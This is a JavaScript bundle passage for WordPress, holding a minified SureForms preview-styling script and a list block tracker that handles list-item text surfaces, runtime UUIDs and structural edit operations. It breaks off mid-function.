(()=>{let l=window.srfmPreviewStyling?.containerId;if(l&&/^[a-zA-Z0-9_-]+$/.test(l)){let f=document.querySelector("."+l);if(f){let a=f.className,d=document.createElement("style"),t=(d.id="srfm-preview-override-style",f.appendChild(d),0);function r(){var r=f.offsetHeight;if(r&&!(Math.abs(r-t)<4)){let o={type:"srfm-preview-height",height:t=r};[window.parent,window.top].forEach(function(r){r&&r!==window&&r.postMessage(o,"*")})}}window.parent!==window&&(r(),window.addEventListener("load",r),window.addEventListener("resize",r)),window.addEventListener("message",function(r){if(r.origin===window.location.origin&&r.data)if("srfm-reset-styling"===r.data.type)d.textContent="",f.className=a,(o=f.querySelector(".srfm-submit-container .wp-block-button"))&&(o.removeAttribute("style"),o=o.querySelector("button"))&&o.removeAttribute("style");else if("srfm-update-styling"===r.data.type){var o=r.data.styling;if(o){var t={},r=(o.primaryColor&&(r="hsl(from "+o.primaryColor+" h s l / ",t["--srfm-color-scheme-primary"]=o.primaryColor,t["--srfm-quill-editor-color"]=o.primaryColor,t["--srfm-color-input-border-hover"]=r+"0.65)",t["--srfm-color-input-border-focus-glow"]=r+"0.15)",t["--srfm-color-input-selected"]=r+"0.1)",t["--srfm-btn-color-hover"]=r+"0.9)",t["--srfm-btn-color-disabled"]=r+"0.25)"),o.textColor&&(r="hsl(from "+o.textColor+" h s l / ",t["--srfm-color-scheme-text"]=o.textColor,t["--srfm-color-input-label"]=o.textColor,t["--srfm-color-input-text"]=o.textColor,t["--srfm-color-input-description"]=r+"0.65)",t["--srfm-color-input-placeholder"]=r+"0.5)",t["--srfm-color-input-prefix"]=r+"0.65)",t["--srfm-color-input-background"]=r+"0.02)",t["--srfm-color-input-background-hover"]=r+"0.05)",t["--srfm-color-input-background-disabled"]=r+"0.07)",t["--srfm-color-input-border"]=r+"0.25)",t["--srfm-color-input-border-disabled"]=r+"0.15)",t["--srfm-color-multi-choice-svg"]=r+"0.7)"),o.textOnPrimaryColor&&(t["--srfm-color-scheme-text-on-primary"]=o.textOnPrimaryColor),o.formPaddingUnit||"px"),e=o.formBorderRadiusUnit||"px";if(void 0!==o.formPaddingTop&&(t["--srfm-form-padding-top"]=o.formPaddingTop+r),void 0!==o.formPaddingRight&&(t["--srfm-form-padding-right"]=o.formPaddingRight+r),void 0!==o.formPaddingBottom&&(t["--srfm-form-padding-bottom"]=o.formPaddingBottom+r),void 0!==o.formPaddingLeft&&(t["--srfm-form-padding-left"]=o.formPaddingLeft+r),void 0!==o.formBorderRadiusTop&&(t["--srfm-form-border-radius-top"]=o.formBorderRadiusTop+e),void 0!==o.formBorderRadiusRight&&(t["--srfm-form-border-radius-right"]=o.formBorderRadiusRight+e),void 0!==o.formBorderRadiusBottom&&(t["--srfm-form-border-radius-bottom"]=o.formBorderRadiusBottom+e),void 0!==o.formBorderRadiusLeft&&(t["--srfm-form-border-radius-left"]=o.formBorderRadiusLeft+e),f.classList.remove("srfm-bg-color","srfm-bg-gradient","srfm-bg-image"),"color"===o.bgType?(f.classList.add("srfm-bg-color"),o.bgColor&&(t["--srfm-bg-color"]=o.bgColor)):"gradient"===o.bgType?(f.classList.add("srfm-bg-gradient"),o.bgGradient&&(t["--srfm-bg-gradient"]=o.bgGradient)):"image"===o.bgType&&(f.classList.add("srfm-bg-image"),o.bgImage&&((r=o.bgImage.replace(/"/g,"")).startsWith("https://")||r.startsWith("http://"))&&(t["--srfm-bg-image"]='url("'+r+'")'),o.bgImagePosition&&(e=100*(o.bgImagePosition.x??.5),r=100*(o.bgImagePosition.y??.5),t["--srfm-bg-position"]=e+"% "+r+"%"),o.bgImageSize&&(t["--srfm-bg-size"]=o.bgImageSize),o.bgImageRepeat&&(t["--srfm-bg-repeat"]=o.bgImageRepeat),o.bgImageAttachment)&&(t["--srfm-bg-attachment"]=o.bgImageAttachment),o.fieldSpacing){var e=window.srfmPreviewStyling?.fieldSpacingVars;if(e){var i,r=e.small||{},e=e[o.fieldSpacing]||{},s=Object.assign({},r,e);for(i in s)i.startsWith("--")&&(t[i]=s[i])}}{var n=t;let r="."+l+" {\n";for(var m in n)null!=n[m]&&(r+="\t"+m+": "+n[m]+";\n");r+="}\n",d.textContent=r}o.buttonAlignment&&(r=f.querySelector(".srfm-submit-container .wp-block-button"))&&(r.style.textAlign="justify"===o.buttonAlignment?"center":o.buttonAlignment,e=r.querySelector("button"))&&(e.style.width="justify"===o.buttonAlignment?"100%":"");r=new CustomEvent("srfm-preview-styling-update",{detail:{styling:o,container:f}});document.dispatchEvent(r)}}})}}})();/**
 * List block tracker for UUID-aware list editing and serialization.
 *
 * Dependencies: wp.blocks, SFE.ElementPrep
 * Exposes:      SFE.ListBlockTracker
 */
(function() {
    'use strict';

	window.MWP      = window.MWP || {};
	window.MWP.SFE  = window.MWP.SFE || {};
	const SFE       = window.MWP.SFE;
	SFE.ManagerData = SFE.ManagerData || {};

    const { createBlock, serialize: serializeBlocks } = window.wp?.blocks || {};
    const UUID_ATTR_KEYS = ['mwpSfeUuid', 'mwpSfeUuidShadow'];
    const LIST_ITEM_TEXT_ATTR = 'data-mwp-sfe-list-item-text';
    const LIST_ITEM_TEXT_CLASS = 'mwp-sfe-list-item-text';
    const PLACEHOLDER_ATTR = 'data-rich-text-placeholder';
    const LIST_ID_ATTR = 'data-list-id';
    const LIST_ITEM_ID_ATTR = 'data-item-id';
    const LIST_RUNTIME_UUID_ATTR = 'data-mwp-sfe-list-runtime-uuid';
    const LIST_ITEM_RUNTIME_UUID_ATTR = 'data-mwp-sfe-list-item-runtime-uuid';

	/**
	 * Return whether one node is a nested list element.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is a nested list.
	 */
	function isNestedListNode(node) {
		return !!(
			node &&
			node.nodeType === Node.ELEMENT_NODE &&
			(node.tagName === 'UL' || node.tagName === 'OL')
		);
	}

	/**
	 * Return whether one node is ignorable formatting whitespace between list
	 * structures.
	 *
	 * Pretty-printed block markup often leaves direct `\n` text nodes between a
	 * list item's own text and its nested child list. Those nodes should not be
	 * moved into the direct text surface because they become visible editing
	 * artifacts once wrapped.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is ignorable whitespace.
	 */
	function isIgnorableListWhitespaceNode(node) {
		return !!(
			node &&
			node.nodeType === Node.TEXT_NODE &&
			String(node.textContent || '')
				.replace(/\uFEFF/g, '')
				.replace(/\u00A0/g, ' ')
				.trim()
				.length === 0
		);
	}

	/**
	 * Return the direct inline text surface for one list item.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement|null}            Existing direct text surface, if any.
	 */
	function getDirectItemTextSurface(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return null;
		}

		return Array.from(liElement.children || []).find(child => (
			child &&
			child.nodeType === Node.ELEMENT_NODE &&
			child.getAttribute(LIST_ITEM_TEXT_ATTR) === '1'
		)) || null;
	}

	/**
	 * Return the DOM attribute name that stores one session-scoped runtime UUID.
	 *
	 * Runtime UUIDs are distinct from the existing serialization/attr UUIDs. They
	 * exist only while the editor session is open so external callers can point at
	 * the current live list cursor/target without having to manage shifting paths.
	 *
	 * @param   {string} type Supported runtime identity type.
	 * @returns {string}      Attribute name, or an empty string for invalid types.
	 */
	function getRuntimeUuidAttributeName(type) {
		if (type === 'list') {
			return LIST_RUNTIME_UUID_ATTR;
		}

		if (type === 'item') {
			return LIST_ITEM_RUNTIME_UUID_ATTR;
		}

		return '';
	}

	/**
	 * Normalize one runtime UUID candidate.
	 *
	 * @param   {*} value Candidate runtime UUID.
	 * @returns {string}  Trimmed runtime UUID, or an empty string.
	 */
	function normalizeRuntimeUuid(value) {
		return String(value || '').trim();
	}

	/**
	 * Return whether one element matches the requested runtime-identity type.
	 *
	 * @param   {Element|null} element Candidate DOM element.
	 * @param   {string}       type    Supported runtime identity type.
	 * @returns {boolean}              True when the element matches the type.
	 */
	function isRuntimeIdentityElement(element, type) {
		if (!element || element.nodeType !== Node.ELEMENT_NODE) {
			return false;
		}

		if (type === 'list') {
			return element.tagName === 'UL' || element.tagName === 'OL';
		}

		if (type === 'item') {
			return element.tagName === 'LI';
		}

		return false;
	}

	/**
	 * Return one tracked element by runtime UUID from the live DOM.
	 *
	 * This intentionally queries the current DOM first instead of trusting only a
	 * cached map so history restores and other structural replacements can keep
	 * runtime UUID resolution stable as long as the attributes remain present.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {string}      runtimeUuid  Session-scoped runtime UUID.
	 * @param   {string}      type         Supported runtime identity type.
	 * @returns {Element|null}             Matching live DOM element.
	 */
	function findElementByRuntimeUuid(tracker, runtimeUuid, type) {
		const normalizedRuntimeUuid = normalizeRuntimeUuid(runtimeUuid);
		const attrName = getRuntimeUuidAttributeName(type);
		if (
			!tracker?.listElement ||
			!normalizedRuntimeUuid ||
			!attrName ||
			!isRuntimeIdentityElement(tracker.listElement, 'list')
		) {
			return null;
		}

		if (
			type === 'list' &&
			tracker.listElement.getAttribute(attrName) === normalizedRuntimeUuid
		) {
			return tracker.listElement;
		}

		try {
			const selector = `[${attrName}="${CSS.escape(normalizedRuntimeUuid)}"]`;
			return tracker.listElement.querySelector(selector);
		} catch (error) {
			const escapedUuid = normalizedRuntimeUuid.replace(/"/g, '\\"');
			return tracker.listElement.querySelector(`[${attrName}="${escapedUuid}"]`);
		}
	}

	/**
	 * Return every direct text surface currently attached to one list item.
	 *
	 * Merge/delete flows can temporarily move multiple direct text surfaces into
	 * the same list item. The shared list normalizer must collapse them back to
	 * one canonical surface before placeholder syncing or serialization.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement[]}               Direct text surfaces in DOM order.
	 */
	function getAllDirectItemTextSurfaces(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return [];
		}

		return Array.from(liElement.children || []).filter(child => (
			child &&
			child.nodeType === Node.ELEMENT_NODE &&
			child.getAttribute(LIST_ITEM_TEXT_ATTR) === '1'
		));
	}

	/**
	 * Return whether one node is only placeholder/caret scaffolding.
	 *
	 * Duplicate direct text surfaces may carry empty placeholder anchors or
	 * caret `<br>` nodes. Those artifacts should be dropped when collapsing
	 * duplicate surfaces instead of being concatenated into visible stacks.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is redundant placeholder UI.
	 */
	function isRedundantSurfaceArtifact(node) {
		if (!node) {
			return true;
		}

		if (isIgnorableListWhitespaceNode(node)) {
			return true;
		}

		if (node.nodeType === Node.TEXT_NODE) {
			return String(node.textContent || '')
				.replace(/\uFEFF/g, '')
				.replace(/\u00A0/g, ' ')
				.trim()
				.length === 0;
		}

		if (node.nodeType !== Node.ELEMENT_NODE) {
			return false;
		}

		if (node.tagName === 'BR') {
			return true;
		}

		return !!node.hasAttribute?.(PLACEHOLDER_ATTR);
	}

	/**
	 * Ensure one list item owns one direct inline text surface.
	 *
	 * The root list remains the single live editor host, but this wrapper gives
	 * schema/ABE flows one stable DOM surface per list item's own text content.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement|null}            Ensured direct text surface.
	 */
	function ensureDirectItemTextSurface(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return null;
		}

		let surface = getDirectItemTextSurface(liElement);
		if (!surface) {
			surface = document.createElement('span');
			surface.setAttribute(LIST_ITEM_TEXT_ATTR, '1');
			surface.classList.add(LIST_ITEM_TEXT_CLASS);
			liElement.insertBefore(
				surface,
				Array.from(liElement.childNodes || []).find(isNestedListNode) || null
			);
		}

		getAllDirectItemTextSurfaces(liElement)
			.filter(candidate => candidate && candidate !== surface)
			.forEach(duplicateSurface => {
				Array.from(duplicateSurface.childNodes || []).forEach(node => {
					if (isRedundantSurfaceArtifact(node)) {
						node.remove();
						return;
					}

					surface.appendChild(node);
				});
				duplicateSurface.remove();
			});

		const childNodes = Array.from(liElement.childNodes || []);
		childNodes.forEach(node => {
			if (
				node &&
				node !== surface &&
				!isNestedListNode(node) &&
				isIgnorableListWhitespaceNode(node)
			) {
				node.remove();
			}
		});

		const movableNodes = childNodes.filter(node => {
			if (!node || node === surface || isNestedListNode(node)) {
				return false;
			}

			if (isIgnorableListWhitespaceNode(node)) {
				return false;
			}

			return !(
				node.nodeType === Node.ELEMENT_NODE &&
				node.getAttribute?.(LIST_ITEM_TEXT_ATTR) === '1'
			);
		});

		movableNodes.forEach(node => surface.appendChild(node));
		return surface;
	}

	/**
	 * Clone list attrs while optionally stripping plugin UUID ownership.
	 *
	 * The outermost core/list is the only persisted UUID owner for an entire
	 * list tree. Nested core/list blocks are structural children of that root.
	 * If we preserve a nested list UUID here, one accidental assignment can be
	 * re-serialized forever and split a single logical list into multiple
	 * history/edit targets. Keep this guard unless the ownership model changes
	 * everywhere else in PHP and JS at the same time.
	 *
	 * @param   {Object}  attrs                 Parsed Gutenberg attrs.
	 * @param   {boolean} allowUuidOwnership    True for the root list only.
	 * @returns {Object}                        Safe cloned attrs.
	 */
	function cloneListAttrs(attrs, allowUuidOwnership = true) {
		const clonedAttrs = JSON.parse(JSON.stringify(attrs || {}));

		if (allowUuidOwnership) {
			return clonedAttrs;
		}

		UUID_ATTR_KEYS.forEach(key => delete clonedAttrs[key]);
		return clonedAttrs;
	}

	/**
	 * Return the direct list-item children for one list element.
	 *
	 * @param   {HTMLElement|null} listElement Candidate list element.
	 * @returns {HTMLLIElement[]}             Direct child list items.
	 */
	function getDirectListItems(listElement) {
		if (!listElement || listElement.nodeType !== Node.ELEMENT_NODE) {
			return [];
		}

		return Array.from(listElement.children || []).filter(child => child.tagName === 'LI');
	}

	/**
	 * Normalize one path-like value into zero-based list indexes.
	 *
	 * Supported inputs:
	 * - `0_1_2`
	 * - `1.2.3`
	 * - arrays of integers
	 *
	 * @param   {string|Array<number>|null} pathValue Candidate path value.
	 * @returns {number[]|null}                      Parsed zero-based indexes.
	 */
	function normalizePathIndexes(pathValue) {
		if (Array.isArray(pathValue)) {
			const indexes = pathValue.map(value => Number.parseInt(value, 10));
			return indexes.every(Number.isInteger) && indexes.every(index => index >= 0)
				? indexes
				: null;
		}

		const raw = typeof pathValue === 'string' ? pathValue.trim() : '';
		if (!raw) {
			return [];
		}

		const separator = raw.includes('.') ? '.' : '_';
		const parts = raw.split(separator).filter(Boolean);
		if (!parts.length) {
			return [];
		}

		const indexes = parts.map(part => Number.parseInt(part, 10));
		if (!indexes.every(Number.isInteger)) {
			return null;
		}

		if (separator === '.') {
			return indexes.every(index => index > 0)
				? indexes.map(index => index - 1)
				: null;
		}

		return indexes.every(index => index >= 0) ? indexes : null;
	}

	/**
	 * Convert one zero-based path index list into public path metadata.
	 *
	 * @param   {number[]} indexes Zero-based indexes.
	 * @returns {{path: string, pathLabel: string, depth: number}} Path metadata.
	 */
	function buildPathMeta(indexes) {
		const safeIndexes = Array.isArray(indexes) ? indexes.filter(Number.isInteger) : [];
		return {
			path: safeIndexes.join('_'),
			pathLabel: safeIndexes.map(index => index + 1).join('.'),
			depth: Math.max(0, safeIndexes.length - 1),
		};
	}

	/**
	 * Return the direct child list element for one list item.
	 *
	 * @param   {HTMLLIElement|null} listItem Candidate list item.
	 * @returns {HTMLElement|null}            Direct nested list, if present.
	 */
	function getDirectChildList(listItem) {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return null;
		}

		return Array.from(listItem.children || []).find(child => (
			child.tagName === 'UL' || child.tagName === 'OL'
		)) || null;
	}

	/**
	 * Return the preferred nested list tag for one list item.
	 *
	 * @param   {Object|null} tracker  Active list tracker.
	 * @param   {HTMLLIElement} listItem Parent list item.
	 * @returns {string}               `UL` or `OL`.
	 */
	function getPreferredChildListTagName(tracker, listItem) {
		const directChildList = getDirectChildList(listItem);
		if (directChildList) {
			return directChildList.tagName;
		}

		const parentList = listItem?.parentElement;
		if (parentList && (parentList.tagName === 'UL' || parentList.tagName === 'OL')) {
			return parentList.tagName;
		}

		return tracker?.listElement?.tagName === 'OL' ? 'OL' : 'UL';
	}

	/**
	 * Return one direct child list for a list item, creating it only when needed.
	 *
	 * Outdent can promote one item and then re-home its trailing siblings beneath
	 * that promoted item. When the promoted item already owns a child list, those
	 * siblings must be appended into the existing list so the DOM mirrors native
	 * editor behavior instead of creating duplicate sibling list wrappers.
	 *
	 * @param   {Object|null}    tracker         Active list tracker.
	 * @param   {HTMLLIElement}  listItem        Parent list item.
	 * @param   {string}         preferredTagName Fallback list tag name.
	 * @returns {HTMLElement|null}               Direct child list element.
	 */
	function ensureDirectChildList(tracker, listItem, preferredTagName = '') {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return null;
		}

		let childList = getDirectChildList(listItem);
		if (childList) {
			return childList;
		}

		childList = document.createElement(
			preferredTagName || getPreferredChildListTagName(tracker, listItem)
		);
		childList.classList.add('wp-block-list');
		listItem.appendChild(childList);
		return childList;
	}

	/**
	 * Remove empty nested list wrappers up the ancestry chain.
	 *
	 * The root list element is never removed, even when it becomes empty.
	 *
	 * @param   {Object|null}      tracker   Active list tracker.
	 * @param   {HTMLElement|null} startList First candidate nested list.
	 * @returns {void}
	 */
	function cleanupEmptyAncestorLists(tracker, startList) {
		let currentList = startList;
		while (
			currentList &&
			currentList !== tracker?.listElement &&
			currentList.nodeType === Node.ELEMENT_NODE &&
			(currentList.tagName === 'UL' || currentList.tagName === 'OL') &&
			!getDirectListItems(currentList).length
		) {
			const parentItem = currentList.parentElement?.tagName === 'LI'
				? currentList.parentElement
				: null;
			currentList.remove();
			currentList = parentItem ? parentItem.parentElement : null;
		}
	}

	/**
	 * Build one new list item element from a structural operation payload.
	 *
	 * @param   {Object|null} operation Candidate operation payload.
	 * @returns {HTMLLIElement}         New list item element.
	 */
	function buildListItemFromOperation(operation) {
		const li = document.createElement('li');
		const directSurface = ensureDirectItemTextSurface(li);
		const runtimeUuid = normalizeRuntimeUuid(
			operation?.itemUuid
			?? operation?.newItemUuid
		);
		const html = typeof operation?.contentHtml === 'string'
			? operation.contentHtml
			: (typeof operation?.html === 'string' ? operation.html : '');
		const text = typeof operation?.contentText === 'string'
			? operation.contentText
			: (typeof operation?.text === 'string' ? operation.text : '');

		if (html) {
			directSurface.innerHTML = html;
		} else if (text) {
			directSurface.textContent = text;
		}

		if (runtimeUuid) {
			li.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, runtimeUuid);
		}

		return li;
	}

	/**
	 * Copy one donor item's structural/style attributes onto the destination list
	 * item while preserving the destination runtime UUID.
	 *
	 * Native Enter list splitting happens inside the browser's contenteditable
	 * engine, so the new sibling inherits the source `li` element's attributes
	 * such as class and style automatically. API-driven insert/move operations
	 * should mirror that behavior by cloning the donor item's `li` attributes,
	 * except for the session-scoped runtime UUID which must stay unique.
	 *
	 * @param   {HTMLLIElement|null} listItem   Destination list item.
	 * @param   {HTMLLIElement|null} donorItem  Style/structure donor item.
	 * @returns {void}
	 */
	function copyDonorItemAttributes(listItem, donorItem) {
		if (
			!listItem ||
			listItem.nodeType !== Node.ELEMENT_NODE ||
			listItem.tagName !== 'LI' ||
			!donorItem ||
			donorItem.nodeType !== Node.ELEMENT_NODE ||
			donorItem.tagName !== 'LI'
		) {
			return;
		}

		const destinationRuntimeUuid = normalizeRuntimeUuid(
			listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
		);

		Array.from(listItem.attributes || []).forEach(attr => {
			if (attr?.name === LIST_ITEM_RUNTIME_UUID_ATTR) {
				return;
			}

			listItem.removeAttribute(attr.name);
		});

		Array.from(donorItem.attributes || []).forEach(attr => {
			if (attr?.name === LIST_ITEM_RUNTIME_UUID_ATTR) {
				return;
			}

			listItem.setAttribute(attr.name, attr.value);
		});

		if (destinationRuntimeUuid) {
			listItem.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, destinationRuntimeUuid);
		}
	}

	/**
	 * Reassign one list item's structural ID from its destination styling
	 * context.
	 *
	 * When an explicit target item is known, its structural `data-item-id`
	 * becomes the style donor for insert-before, insert-after, move-before, and
	 * move-after commands. This keeps the inheritance rule simple and matches the
	 * public API's explicit `targetItemUuid` model.
	 *
	 * For internal list-path insert/move cases that do not resolve through one
	 * target item, fall back to the local destination neighbors. If there is no
	 * neighboring item at all, clear the structural ID so the next tracker rebuild
	 * seeds a fresh item identity instead of accidentally preserving source attrs.
	 *
	 * @param   {HTMLLIElement|null} listItem    Destination list item.
	 * @param   {HTMLLIElement|null} targetItem Explicit style donor item.
	 * @returns {string}                     Applied structural ID or an empty string.
	 */
	function inheritDestinationItemId(listItem, targetItem = null) {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return '';
		}

		const explicitTargetItem = targetItem && targetItem.nodeType === Node.ELEMENT_NODE && targetItem.tagName === 'LI'
			? targetItem
			: null;
		const previousItem = listItem.previousElementSibling?.tagName === 'LI'
			? listItem.previousElementSibling
			: null;
		const nextItem = listItem.nextElementSibling?.tagName === 'LI'
			? listItem.nextElementSibling
			: null;
		const inheritedId = normalizeRuntimeUuid(
			explicitTargetItem?.getAttribute(LIST_ITEM_ID_ATTR)
			|| previousItem?.getAttribute(LIST_ITEM_ID_ATTR)
			|| nextItem?.getAttribute(LIST_ITEM_ID_ATTR)
		);

		if (inheritedId) {
			listItem.setAttribute(LIST_ITEM_ID_ATTR, inheritedId);
			return inheritedId;
		}

		listItem.removeAttribute(LIST_ITEM_ID_ATTR);
		return '';
	}

	/**
	 * Apply one remove-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyRemoveListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const oldParentList = listItem.parentElement;
		listItem.remove();
		cleanupEmptyAncestorLists(tracker, oldParentList);
		return true;
	}

	/**
	 * Apply one indent-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyIndentListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const previousItem = listItem.previousElementSibling?.tagName === 'LI'
			? listItem.previousElementSibling
			: null;
		if (!previousItem) {
			return false;
		}

		const nestedList = ensureDirectChildList(tracker, previousItem);

		nestedList.appendChild(listItem);
		return true;
	}

	/**
	 * Apply one outdent-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyOutdentListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const parentList = listItem.parentElement;
		const parentItem = parentList?.parentElement?.tagName === 'LI'
			? parentList.parentElement
			: null;
		if (!parentList || !parentItem) {
			return false;
		}

		const ancestorList = parentItem.parentElement;
		const followingSiblings = [];
		let next = listItem.nextElementSibling;
		while (next) {
			followingSiblings.push(next);
			next = next.nextElementSibling;
		}

		ancestorList.insertBefore(listItem, parentItem.nextElementSibling);
		if (followingSiblings.length) {
			const nestedList = ensureDirectChildList(tracker, listItem, parentList.tagName);
			followingSiblings.forEach(sibling => nestedList.appendChild(sibling));
		}

		cleanupEmptyAncestorLists(tracker, parentList);
		return true;
	}

	/**
	 * Apply one toggle-list-type operation.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {Object}      rawOperation Structural operation payload.
	 * @param   {Object}      options      Apply-operation options.
	 * @returns {boolean}                  True when the mutation applied.
	 */
	function applyToggleListTypeOperation(tracker, rawOperation, options = {}) {
		if (!tracker?.listElement) {
			return false;
		}

		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const targetList = getListByPath(tracker, listPath);
		const editorHost = options?.editorHost && typeof options.editorHost.changeListType === 'function'
			? options.editorHost
			: null;
		const requestedType = targetList
			? (
				normalizeListTypeTagName(
					rawOperation.value
					?? rawOperation.listType
					?? rawOperation.list_type
					?? rawOperation.ordered
				) || (targetList.tagName === 'OL' ? 'UL' : 'OL')
			)
			: '';

		if (
			!targetList ||
			!requestedType ||
			targetList.tagName === requestedType ||
			!editorHost
		) {
			return false;
		}

		const nextList = editorHost.changeListType(targetList, requestedType.toLowerCase(), {
			saveHistory: options.saveHistory !== false,
			restoreCursor: options.restoreCursor !== false,
		});
		return !!nextList;
	}

	/**
	 * Apply one update-list-item-text operation.
	 *
	 * @param   {HTMLLIElement} listItem     Target list item.
	 * @param   {Object}        rawOperation Structural operation payload.
	 * @returns {boolean}                   True when the mutation applied.
	 */
	function applyUpdateListItemTextOperation(listItem, rawOperation) {
		if (!listItem) {
			return false;
		}

		const directSurface = ensureDirectItemTextSurface(listItem);
		const html = typeof rawOperation?.contentHtml === 'string'
			? rawOperation.contentHtml
			: (typeof rawOperation?.html === 'string' ? rawOperation.html : '');
		const text = typeof rawOperation?.contentText === 'string'
			? rawOperation.contentText
			: (typeof rawOperation?.text === 'string' ? rawOperation.text : '');

		if (!directSurface) {
			return false;
		}

		directSurface.innerHTML = '';
		if (html) {
			directSurface.innerHTML = html;
		} else if (text) {
			directSurface.textContent = text;
		}

		return true;
	}

	/**
	 * Insert one new list item relative to explicit before/after/list anchors.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {Object}      rawOperation Structural operation payload.
	 * @param   {Object}      trackerApi   List tracker API surface.
	 * @returns {boolean}                  True when the mutation applied.
	 */
	function applyInsertListItemOperation(tracker, rawOperation, trackerApi) {
		if (!tracker?.listElement || !trackerApi) {
			return false;
		}

		const beforePath = rawOperation.beforePath ?? rawOperation.before_path ?? '';
		const afterPath = rawOperation.afterPath ?? rawOperation.after_path ?? '';
		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const beforeItem = trackerApi.getItemByPath(tracker, beforePath);
		const afterItem = trackerApi.getItemByPath(tracker, afterPath);
		const newListItem = buildListItemFromOperation(rawOperation);

		if (beforeItem?.parentElement) {
			beforeItem.parentElement.insertBefore(newListItem, beforeItem);
			copyDonorItemAttributes(newListItem, beforeItem);
			inheritDestinationItemId(newListItem, beforeItem);
			return true;
		}

		if (afterItem?.parentElement) {
			afterItem.parentElement.insertBefore(newListItem, afterItem.nextElementSibling);
			copyDonorItemAttributes(newListItem, afterItem);
			inheritDestinationItemId(newListItem, afterItem);
			return true;
		}

		const targetList = getListByPath(tracker, listPath);
		if (!targetList) {
			return false;
		}

		const position = typeof rawOperation.position === 'string'
			? rawOperation.position.trim().toLowerCase()
			: 'append';
		if (position === 'prepend' && targetList.firstElementChild) {
			targetList.insertBefore(newListItem, targetList.firstElementChild);
		} else {
			targetList.appendChild(newListItem);
		}
		inheritDestinationItemId(newListItem);
		return true;
	}

	/**
	 * Move one existing list item relative to explicit before/after/list anchors.
	 *
	 * @param   {Object|null}    tracker      Active list tracker.
	 * @param   {HTMLLIElement}  listItem     Target list item.
	 * @param   {Object}         rawOperation Structural operation payload.
	 * @param   {Object}         trackerApi   List tracker API surface.
	 * @returns {boolean}                    True when the mutation applied.
	 */
	function applyMoveListItemOperation(tracker, listItem, rawOperation, trackerApi) {
		if (!tracker?.listElement || !listItem || !trackerApi) {
			return false;
		}

		const beforePath = rawOperation.beforePath ?? rawOperation.before_path ?? '';
		const afterPath = rawOperation.afterPath ?? rawOperation.after_path ?? '';
		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const beforeItem = trackerApi.getItemByPath(tracker, beforePath);
		const afterItem = trackerApi.getItemByPath(tracker, afterPath);
		const oldParentList = listItem.parentElement;
		let didApply = false;

		if (beforeItem && beforeItem !== listItem && !listItem.contains(beforeItem)) {
			beforeItem.parentElement.insertBefore(listItem, beforeItem);
			copyDonorItemAttributes(listItem, beforeItem);
			inheritDestinationItemId(listItem, beforeItem);
			didApply = true;
		} else if (afterItem && afterItem !== listItem && !listItem.contains(afterItem)) {
			afterItem.parentElement.insertBefore(listItem, afterItem.nextElementSibling);
			copyDonorItemAttributes(listItem, afterItem);
			inheritDestinationItemId(listItem, afterItem);
			didApply = true;
		} else if (typeof listPath === 'string') {
			const targetList = getListByPath(tracker, listPath);
			const ownerItem = targetList?.parentElement?.tagName === 'LI'
				? targetList.parentElement
				: null;

			if (targetList && ownerItem !== listItem && !listItem.contains(ownerItem || null)) {
				const position = typeof rawOperation.position === 'string'
					? rawOperation.position.trim().toLowerCase()
					: 'append';
				if (position === 'prepend' && targetList.firstElementChild) {
					targetList.insertBefore(listItem, targetList.firstElementChild);
				} else {
					targetList.appendChild(listItem);
				}
				inheritDestinationItemId(listItem);
				didApply = true;
			}
		}

		if (didApply) {
			cleanupEmptyAncestorLists(tracker, oldParentList);
		}

		return didApply;
	}

	/**
	 * Resolve one tracked list element from a list-path payload.
	 *
	 * The root list lives at the empty path. Nested lists are addressed by the
	 * tree path of the parent item that owns that child list.
	 *
	 * @param   {Object|null}            tracker   Active list tracker.
	 * @param   {string|Array<number>}   pathValue Root-empty list path or parent-item path.
	 * @returns {HTMLElement|null}                 Matching list element.
	 */
	function getListByPath(tracker, pathValue) {
		if (!tracker?.listElement) {
			return null;
		}

		if (
			pathValue === '' ||
			pathValue === null ||
			typeof pathValue === 'undefined' ||
			(Array.isArray(pathValue) && !pathValue.length) ||
			(typeof pathValue === 'string' && !pathValue.trim())
		) {
			return tracker.listElement;
		}

		const parentItem = ListBlockTracker.getItemByPath(tracker, pathValue);
